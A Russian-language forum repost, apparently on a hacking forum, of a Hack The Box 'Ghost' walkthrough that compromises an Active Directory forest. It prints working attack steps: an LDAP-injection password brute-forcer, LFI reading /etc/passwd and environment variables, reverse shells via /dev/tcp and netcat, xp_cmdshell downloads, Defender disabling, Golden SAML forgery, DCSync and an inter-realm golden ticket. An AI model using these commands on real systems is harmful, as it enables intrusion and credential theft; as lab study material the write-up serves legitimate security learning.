• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Пробираемся через лес Active Directory

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,178
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
В этот раз мы пройдем путь от LDAP Injection и LFI до Command Injection в веб‑приложении. Захватив Linux-машину в домене, получим пользовательский тикет Kerberos и проведем DNS Spoofing. После получения еще одной доменной учетки скомпрометируем учетную запись службы ADFS и с помощью техники Golden SAML сделаем токен для доступа к сайту от имени админа.
Через связанные серверы Microsoft SQL получим сессию от имени службы, а затем поднимем привилегии на контроллере дочернего домена. Через Inter-realm golden ticket скомпрометируем контроллер домена всего леса.

Наша цель — получение прав суперпользователя на машине Ghost с учебной площадки Hack The Box. Уровень сложности задания — «безумный».

warning​


Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.24 ghost.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:

Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел 19 открытых портов:
  • 53 — DNS;
  • 80 (HTTP) — веб‑сервер Microsoft;
  • 88 — Kerberos;
  • 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
  • 139 — служба сеансов NetBIOS, NetLogon;
  • 389 — LDAP;
  • 443 (HTTPS) — веб‑сервер Microsoft IIS/10.0;
  • 445 — SMB;
  • 464 — служба смены пароля Kerberos;
  • 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
  • 636 — LDAP с шифрованием SSL или TLS;
  • 1433 — СУБД Microsoft SQL;
  • 3268 (LDAP) — для доступа к Global Catalog от клиента к контроллеру;
  • 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
  • 3389 — служба удаленного рабочего стола;
  • 5985 — служба удаленного управления WinRM;
  • порты 8008 и 8443 — веб‑сервер Nginx 1.18.0;
  • 9389 — веб‑службы AD DS.
Сертификат веб‑сервиса на порте 8443 раскрывает новый поддомен, который добавим в файл /etc/hosts.

10.10.11.24 ghost.htb core.ghost.htb
Главная страница сайта core.ghost.htb

Если перейти к логину через ADFS, получим редирект на новый поддомен.

Редирект на новый адрес

Добавляем новый поддомен в /etc/hosts.

10.10.11.24 ghost.htb core.ghost.htb federation.ghost.htb
Главная страница federation.ghost.htb

На порте 8008 нас встретит какой‑то блог.

Главная страница ghost.htb:8008

Точка входа​

Так как уже было найдено несколько поддоменов, методом перебора попробуем найти еще. Для сканирования поддоменов можно использовать Для просмотра ссылки Войди или Зарегистрируйся.

Справка: сканирование веба c ffuf​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войди или Зарегистрируйся. При запуске указываем следующие параметры:
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков;
  • -u — URL;
  • -H — HTTP-заголовок;
  • -fs — фильтровать страницы по размеру.
Место перебора помечается словом FUZZ.
Задаем все параметры и запускаем:

ffuf -u [URL]http://ghost.htb:8008[/URL] -H 'Host: FUZZ.ghost.htb:8008' -w dns-lists.txt -t 128 -fs 7676
Результат сканирования поддоменов

Находим еще два домена, которые добавляем в /etc/hosts.

10.10.11.24 ghost.htb core.ghost.htb federation.ghost.htb gitea.ghost.htb intranet.ghost.htb
На первом нас встречает Gitea, а на втором — страница авторизации.

Пользователи Gitea Страница авторизации Intranet Login

Если просмотреть запрос на логин через Burp History, названия параметров дадут понять, что используется LDAP-аутентификация.

Запрос к странице /login

LDAP Injection​

Первым делом проверим инъекцию LDAP, для чего вместо логина и пароля передадим символ *, который будет воспринят как «любое количество любых символов». При сравнении с первыми же учетными данными из базы на стороне сервера аутентификация будет пройдена.

Запрос на сервер в Burp Repeater

Повторим вход через браузер и просмотрим, что есть интересного на сайте.

Главная страница сайта

На странице Users получаем список всех пользователей.

Страница Users

На странице Forum находим интересную информацию. У пользователя недоступен сервис bitbucket.ghost.htb, так как для него отсутствует запись DNS. Вернемся к этому, как только получим возможность создавать записи на DNS-сервере.

Страница Forum

Так как на сайте есть LDAP-инъекция, мы можем попытаться посимвольно подобрать пароли пользователей. Для первого символа будем подбирать варианты a*, b*, c* и так далее. Успешный логон означает верно подобранный пароль. Автоматизировать подбор можно следующим скриптом, а подбирать будем пароль для учетной записи gitea_temp_principal.

Код:
import string
import requests

url = 'http://intranet.ghost.htb:8008/login'
headers = {'Next-Action': 'c471eb076ccac91d6f828b671795550fd5925940'}

username = "gitea_temp_principal"
password = ""
while True:
    for char in string.ascii_lowercase + string.digits:
        files = {
            '1_ldap-username': (None, username),
            '1_ldap-secret': (None, f'{password}{char}*'),
            '0': (None, '[{},"$K1"]')
        }
        res = requests.post(url, headers=headers, files=files)
        if res.status_code == 303:
            password += char
            print(password)
            break
    else:
        break

print()
print(f"Creds =>  {username}:{password}")

Подбор пароля пользователя

Пароль успешно подобран, с полученными учетными данными залогинимся в Gitea.

Главная страница Gitea

Точка опоры​


LFI​

Просмотрим проекты, начиная с репозитория blog. В README написано про функцию сканирования, которая находится в стадии разработки, поэтому доступна только с ключом DEV_INTRANET_KEY, который хранится в переменной среды. Для доступа к API блога нужно использовать токен a5af628828958c976a3b6cc81a.

README проекта blog

Просмотрим исходный код posts-public.js. Там интересен эндпоинт posts, который в каталоге /var/lib/ghost/extra/ читает файл, переданный в параметре extra. При этом никакой фильтрации названия файла нет, так что тут просматривается потенциальная уязвимость LFI.

Содержимое файла posts-public.js

Информацию об API удалось найти в официальной справке CMS Ghost.

Справка Developer docs

Проверим, обрабатывается ли URL Для просмотра ссылки Войди или Зарегистрируйся на сервере.

Тестирование API
Теперь переберем эндпоинты с помощью сканера Для просмотра ссылки Войди или Зарегистрируйся.

При запуске укажем следующие параметры:
  • -u — URL;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -d — глубина сканирования;
  • -t — количество потоков.
feroxbuster -u [URL]http://ghost.htb:8008/ghost/api/content/[/URL] -w directory_2.3_medium_lowercase.txt -d 1 -t 128
Результат перебора API

В списке есть нужный нам posts. В запросе к этому API передаем токен, а также путь к файлу /etc/passwd с обходом каталогов.

[URL unfurl="true"]http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../../../../etc/passwd[/URL]
Ответ сервера
В ответе сервера получаем содержимое запрошенного файла, а значит, уязвимость LFI присутствует. Получим переменные окружения, среди которых должен быть и DEV_INTRANET_KEY.

[URL unfurl="true"]http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../../../../../proc/self/environ[/URL]
Переменные окружения
Перейдем ко второму сервису.


Command Injection​

В исходном коде сервиса сразу найдем все места, где используется ключ доступа. Ключ нужно передавать в соответствующем заголовке.

Исходный код приложения
Затем среди всех эндпоинтов найдем функцию сканирования. Параметр url передается в командную оболочку bash без каких‑либо предварительных проверок.

Исходный код функции scan
Попробуем выполнить инъекцию команды id.

curl -X POST [URL]http://intranet.ghost.htb:8008/api-dev/scan[/URL] -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"q; id"}' | jq
Ответ сервера
Результат выполнения команды есть в ответе сервера, а значит, запускаем листенер (pwncat-cs -lp 4321) и кидаем реверс‑шелл.

curl -X POST [URL]http://intranet.ghost.htb:8008/api-dev/scan[/URL] -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' -d '{"url":"q; sh -i >& /dev/tcp/10.10.16.31/4321 0>&1"}' | jq
Сессия пользователя root

Пользователь домена​

Теперь нам необходимо собрать информацию. Я, как обычно, буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе много всего, так что нужно пройтись и выбрать только важную для дальнейшего продвижения информацию.

В переменных окружения будет несколько паролей. Однако применить их негде.

Переменные окружения

В домашнем каталоге рута есть SSH-конфиг для пользователя florence.ramirez.

Содержимое домашнего каталога root
Осталось просто подключиться к хосту dev-workstation.

Сессия пользователя florence.ramirez

Дочерний домен​


DNS Spoofing​

Так как мы работаем в контексте доменного пользователя, сразу проверим настройки Kerberos в файле /etc/krb5.conf. Создадим соответствующие записи в файле /etc/hosts.

Содержимое файла /etc/krb5.conf
Имея пользователя домена, попробуем провернуть атаку DNS Spoofing. Для этого на своей машине запустим листенер:

responder -i tun0
Теперь создадим запись для имени bitbucket.ghost.htb. Для этого сдампим тикет пользователя и перенесем на свою машину.

Перенос билета Kerberos
Декодировав тикет обратно на своей машине, выполним его проверку через NetExec.

KRB5CCNAME=florence.ramirez.ccache nxc smb dc01.ghost.htb -d ghost.htb -u florence.ramirez -k --use-kcache
Проверка билета
Аутентификация пройдена, а значит, с билетом все в порядке. Осталось с помощью Для просмотра ссылки Войди или Зарегистрируйся создать DNS-запись bitbucket.ghost.htb, которая будет резолвиться в адрес нашей машины с респондером.

KRB5CCNAME=florence.ramirez.ccache python3 dnstool.py -u 'GHOST.HTB\florence.ramirez' -k -r bitbucket.ghost.htb -a add -d 10.10.16.31 -dns-ip 10.10.11.24 DC01.GHOST.HTB
Создание DNS-записи
Теперь, когда пользователь обратится к машине bitbucket, он пройдет аутентификацию на нашем сервере. Так мы и получаем NTLMv2-хеш учетной записи justin.bradley.

Логи респондера
Сломать этот хеш труда не составило, пароль оказался словарным.

hashcat -m 5600 'justin.bradley::ghost:edb4330302715a...0000000' rockyou.txt
Результат подбора пароля
От имени нового пользователя подключаемся к WinRM и забираем первый флаг.

evil-winrm -u justin.bradley -p 'Qwertyuiop1234$$' -i 10.10.11.24
Флаг пользователя

ADFS​

Теперь, когда у нас есть валидная учетная запись, соберем данные для Для просмотра ссылки Войди или Зарегистрируйся c помощью Для просмотра ссылки Войди или Зарегистрируйся. Скрипт требует указать DNS-сервер, а так как в этой лабе он недоступен, развернем свой с помощью утилиты Для просмотра ссылки Войди или Зарегистрируйся. Первым делом создадим для нее конфиг.

Код:
[A]
*.ghost.htb=10.10.11.24
[SRV]
_ldap._tcp.pdc._msdcs.ghost.htb=0 5 389 ghost.htb
_ldap._tcp.gc._msdcs.ghost.htb=0 5 389 ghost.htb
_kerberos._tcp.dc._msdcs.ghost.htb=0 5 88 ghost.htb
Затем передаем его в DNSChef и запускаем коллектор BloodHound.

python3 dnschef.py --file ghost_dns.txt
python3 bloodhound.py -d ghost.htb -u justin.bradley -p 'Qwertyuiop1234$$' -c All -ns 127.0.0.1 --use-ldap --zip
Логи DNSChef Логи коллектора BloodHound

Теперь строим графы BloodHound от скомпрометированных пользователей. У пользователя justin.bradley есть право ReadGMSAPassword на объект ADFS_GMSA$.

Граф BloodHound

Управляемые учетные записи Active Directory​

Управляемые учетные записи (MSA) — это специальный тип учетных записей Active Directory, которые можно использовать для безопасного запуска служб, приложений и заданий планировщика. Основная их идея в том, что паролем полностью управляет Active Directory.

Для таких учеток автоматически генерируется сложный пароль длиной 240 символов, который меняется автоматически каждые 30 дней. Для аутентификации используется только Kerberos, так как интерактивный вход невозможен. Это связано с тем, что пароль не известен никому и не хранится в локальной системе, поэтому его нельзя извлечь из системного процесса LSASS с помощью Mimikatz.

Но и такими учетными записями нужно как‑то управлять, а это значит, что, если у нас есть к ним доступ, мы можем получить хеш пароля. Сделаем это с помощью NetExec.

nxc ldap 10.10.11.24 -u justin.bradley -p 'Qwertyuiop1234$$' --gmsa
Получение хеша учетной записи adfs_gmsa$
У нас есть хеш пароля учетной записи adfs_gmsa$, который позволяет авторизоваться по WinRM.

evil-winrm -u 'adfs_gmsa$' -H d85668e5ce1d81853cac52625fcfd530 -i 10.10.11.24
Информация о пользователе

Golden SAML​

ADFS — это функция Active Directory, которая обеспечивает идентификацию доступа и дает возможность клиентам (в основном на базе браузеров), которые находятся внутри или за пределами локальной сети, получать доступ к веб‑приложениям по технологии Single-Sign-On (SSO). Так ADFS извлекает атрибуты пользователей из Active Directory, а также проверяет подлинность пользователей в AD.

Служба федерации ADFS — компонент серверной платформы Microsoft Windows Server. Она реализует сервис маркеров доступа (STS), который использует службу каталога Active Directory для аутентификации пользователей и хранения информации о них.

Основные операции:
  • первоначальная аутентификация пользователя;
  • выпуск маркера доступа (Issue);
  • проверка маркера доступа (Validate);
  • обновление маркера доступа (Renew);
  • аннулирование маркера доступа (Cancel).
Маркер доступа выпускается по факту успешной аутентификации и достоверно идентифицирует пользователя приложения. Для получения маркера доступа пользователь предоставляет учетные данные AD либо свой сертификат.

Маркер доступа соответствует спецификации SAML Token, которая определяет синтаксис и структуру маркера. Это расширяемый формат, что позволяет формировать содержание маркера в соответствии с требованиями приложения, к которому осуществляется доступ. Срок действия маркера и область применения ограничены. Маркер доступа содержит информацию о пользователе в форме набора утверждений (Claims), которые используются приложением для создания контекста пользователя.

При компрометации учетной записи службы ADFS на сервере ADFS возможно провести атаку Golden SAML. Суть атаки в том, что после получения приватных данных ADFS, которые используются для создания SAMLResponce, атакующий может самостоятельно генерировать SAMLResponce для любых пользователей и сервисов.

Для этого с помощью Для просмотра ссылки Войди или Зарегистрируйся нужно получить следующие данные:
  • сертификат подписи токена и его закрытый ключ;
  • ключ диспетчера распределенных ключей (DKM) из Active Directory;
  • список служб, для которых сервер ADFS настроен в качестве поставщика удостоверений.
.\ADFSDump.exe
Для просмотра ссылки Войди или Зарегистрируйся Данные ADFS
Полученные Private Key и Token Signing Key необходимо декодировать.

cat pk.txt | tr -d "-" | xxd -r -p > pk.bin
cat tsk.txt | base64 -d > tsk.bin
Затем используем Для просмотра ссылки Войди или Зарегистрируйся, чтобы сгенерировать SAMLResponse пользователя на имя юзера Administrator@ghost.htb и сервиса core.ghost.htb.

Код:
python3 ADFSpoof.py -b tsk.bin pk.bin -s 'core.ghost.htb' saml2 --endpoint 'https://core.ghost.htb:8443/adfs/saml/postResponse' --nameidformat 'urnasis:names:tc:SAML:1.1:nameid-format:emailAddress' --nameid 'Administrator@ghost.htb' --rpidentifier 'https://core.ghost.htb:8443' --assertions '<Attribute Name="http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn"><AttributeValue>Administrator@ghost.htb</AttributeValue></Attribute><Attribute Name="http://schemas.xmlsoap.org/claims/CommonName"><AttributeValue>Administrator</AttributeValue></Attribute>'
Получение SAMLResponse

Следом выполняем и перехватываем через Burp Proxy запрос к сервису Для просмотра ссылки Войди или Зарегистрируйся, изменяем метод с GET на POST и вставляем данные SAMLResponse.

Запрос к серверу core.ghost.htb
Отправляем данный запрос на сервер и в браузере видим страницу Ghost Config Panel.

Главная страница сайта core.ghost.htb

Microsoft SQL Server​

Никаких привилегий у текущего пользователя базы данных нет. Олицетворения тоже не настроены. Однако в домене есть связанный сервер PRIMARY, найти который можно следующим запросом.

EXEC sp_linkedservers;
Информация о связанных серверах

Теперь нужно проверить привилегии пользователя базы данных и настройки олицетворения на связанном сервере. Следующим запросом можно определить, что мы можем выполнять команды на связанном сервере PRIMARY от имени административной учетной записи sa.

EXECUTE('SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = ''IMPERSONATE'';') AT "PRIMARY";
Настройки олицетворения на связанном сервере

Учетная запись sa имеет привилегии для конфигурирования сервера и выполнения команд в операционной системе через процедуру xp_cmdshell. Выполним две команды: загрузку netcat и запуск реверс‑шелла.

EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1; reconfigure; EXEC SP_CONFIGURE ''xp_cmdshell'', 1; reconfigure; exec xp_cmdshell ''curl 10.10.16.8:8000/nc64.exe -o C:\Windows\Tasks\nc.exe'';') AT "PRIMARY"
EXECUTE('EXECUTE AS LOGIN = ''sa''; EXEC SP_CONFIGURE ''show advanced options'', 1; reconfigure; EXEC SP_CONFIGURE ''xp_cmdshell'', 1; reconfigure; exec xp_cmdshell ''cmd /c C:\Windows\Tasks\nc.exe 10.10.16.8 4321 -e cmd.exe'';') AT "PRIMARY"
В листенер прилетает сессия от имени учетной записи службы базы данных.

Информация о пользователе

Локальное повышение привилегий​

У пользователя активна привилегия SeImpersonatePrivilege (право «Олицетворять клиента после проверки подлинности»). Документация гласит следующее:

Другими словами, эта привилегия позволяет имитировать любой токен, дескриптор которого мы сможем получить, чаще всего это SYSTEM. Это явный вектор для повышения привилегий!

Обычно в таких случаях используется одна из Potato-программ, однако антивирус прибивает любой загруженный исполняемый файл. Чтобы обойти это, с помощью .NET Framework скомпилируем Для просмотра ссылки Войди или Зарегистрируйся прямо на удаленном сервере. Но для начала проверим версии компонентов .NET Framework в каталоге C:\Windows\Microsoft.Net\Framework.

Содержимое каталога C:\Windows\Microsoft.Net\Framework
Воспользуемся версией v4.0.30319 и соберем исполняемый файл.

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe ep.cs -nowarn:1691,618
Сборка исполняемого файла
Когда все готово, запускаем листенер (rlwrap nc -nlvp 5432) и через EfsPotato выполняем реверс‑шелл.

.\ep.exe "C:\Windows\Tasks\ep.exe 10.10.16.8 5432 -e cmd.exe"
Эксплуатация EfsPotato
В окне листенера получаем сессию от имени SYSTEM.

Сессия SYSTEM

Корневой домен​

Первым делом отключим антивирус, чтобы он нам не мешал.

Set-MpPreference -DisableRealtimeMonitoring $True
Отключение антивируса
Теперь со своего веб‑сервера загрузим PowerShell-скрипт PowerView и просмотрим информацию о текущем домене, а также существующие доверительные отношения.

Код:
IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.8:8000/PowerView4.ps1')

Get-Domain
Get-DomainTrust
Информация о домене
Доверительные отношения домена

В лесу два домена, и мы скомпрометировали дочерний. Имея доступ к контроллеру дочернего домена, можно скомпрометировать и родительский. Для этого необходимо получить ключ доверия между доменами. Для домена corp.ghost.htb это ключ Kerberos учетной записи GHOST$. Получить его можно с помощью DCSync.

mimikatz "lsadump::dcsync /domain:corp.ghost.htb /user:GHOST$" "exit"
Учетные данные GHOST$

В выводе есть и SID текущего домена, нам остается узнать SID трастового домена.

Информация об учетной записи трастового домена

Теперь с помощью Для просмотра ссылки Войди или Зарегистрируйся создадим междоменный золотой билет для несуществующего пользователя fake_admin. При этом в билете будет добавлен SID группы «Администраторы предприятия».

ticketer.py -nthash 8336b1a09e8c242d272d3762b95c0e5e -domain-sid S-1-5-21-2034262909-2733679486-179904498 -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 -spn krbtgt/GHOST.HTB -domain corp.GHOST.HTB fake_admin
Создание золотого билета
С созданным билетом TGT получаем TGS для службы CIFS на контроллере родительского домена.

KRB5CCNAME=fake_admin.ccache getST.py -k -no-pass -spn CIFS/DC01.GHOST.HTB GHOST.HTB/[EMAIL]fake_admin@GHOST.HTB[/EMAIL]
Получение TGS-билета
Так как в скриптах impacket атака AnySPN, которая заключается в замене SPN внутри билета, производится автоматически, сдампим учетные данные пользователя Administrator с контроллера родительского домена с полученным ранее билетом.

KRB5CCNAME=[EMAIL]fake_admin@GHOST.HTB[/EMAIL]@[EMAIL]CIFS_DC01.GHOST.HTB@GHOST.HTB.ccache[/EMAIL] secretsdump.py -k -no-pass [EMAIL]fake_admin@DC01.GHOST.HTB[/EMAIL] -just-dc-user 'ghost/Administrator'
Дамп учетных данных

Осталось подключиться к DC01 по WinRM и забрать последний флаг.

evil-winrm -u 'Administrator' -H 1cdb17d5c14ff69e7067cffcc9e470bd -i 10.10.11.24
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here